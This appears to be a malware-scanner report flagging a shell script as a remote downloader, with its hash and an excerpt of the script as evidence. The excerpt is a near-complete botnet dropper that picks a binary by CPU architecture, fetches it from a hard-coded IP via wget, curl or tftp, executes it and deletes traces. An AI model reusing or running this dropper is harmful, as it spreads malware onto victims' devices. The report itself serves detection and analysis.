Suspicious ^80% Download

ba9c9d9d361d7df77a94b04aa66b7ae34c9d92b38e620ceeccc95058ea1c08a9

Downloads and executes remote binary

AArch64 (ARM64) architecture stringarm64 architecture string

SHA-256ba9c9d9d361d7df77a94b04aa66b7ae34c9d92b38e620ceeccc95058ea1c08a9

Evidence

Conda PREFIX build variable lines 1–38

1#!/bin/sh
2cd /tmp 2>/dev/null || cd /var/run 2>/dev/null || cd /mnt 2>/dev/null || cd /root 2>/dev/null || cd / 2>/dev/null
3
4HOST="176.65.139.157"
5BIN_DIR="fvbig"
6PREFIX="zerobot."
7BIN=""
8
9ARCH=$(/bin/busybox uname -m 2>/dev/null || uname -m 2>/dev/null || echo "")
10
11case "$ARCH" in
12    armv4l|armv4*) BIN="arm" ;;
13    armv5l|armv5*) BIN="arm5" ;;
14    armv6l|armv6*) BIN="arm6" ;;
15    armv7l|armv7*) BIN="arm7" ;;
16    armv8*|aarch64) BIN="arm64" ;;
17    i?86|i586|i686) BIN="i686" ;;
18    x86_64|amd64) BIN="x86_64" ;;
19    mips) BIN="mips" ;;
20    mipsel) BIN="mpsl" ;;
21    powerpc|ppc) BIN="ppc" ;;
22    sh4) BIN="sh4" ;;
23    m68k) BIN="m68k" ;;
24    sparc) BIN="spc" ;;
25    arc) BIN="arc" ;;
26    *) BIN="arm7" ;;
27esac
28
29download_file() {
30    FILE="$1"
31    URL="http://${HOST}/${BIN_DIR}/${FILE}"
32
33    /bin/busybox wget -q -O "$FILE" "$URL" >/dev/null 2>&1 && return 0
34    busybox wget -q -O "$FILE" "$URL" >/dev/null 2>&1 && return 0
35    wget -q -O "$FILE" "$URL" >/dev/null 2>&1 && return 0
36    curl -s -o "$FILE" "$URL" >/dev/null 2>&1 && return 0
37    /bin/busybox curl -s -o "$FILE" "$URL" >/dev/null 2>&1 && return 0
38    busybox curl -s -o "$FILE" "$URL" >/dev/null 2>&1 && …

TFTP command invocation lines 40–56

40    tftp "$HOST" -c get "$FILE" >/dev/null 2>&1 && return 0
41    tftp -r "$FILE" -g "$HOST" >/dev/null 2>&1 && return 0
42
43    return 1
⋯5 lines
49rm -f "$FN"
50if download_file "$FN" "$URL"; then
51    chmod +x "$FN"
52    ./"$FN" "$FN" >/dev/null 2>&1
53    rm -f "$FN"
54fi
55
56rm -f telnet2.sh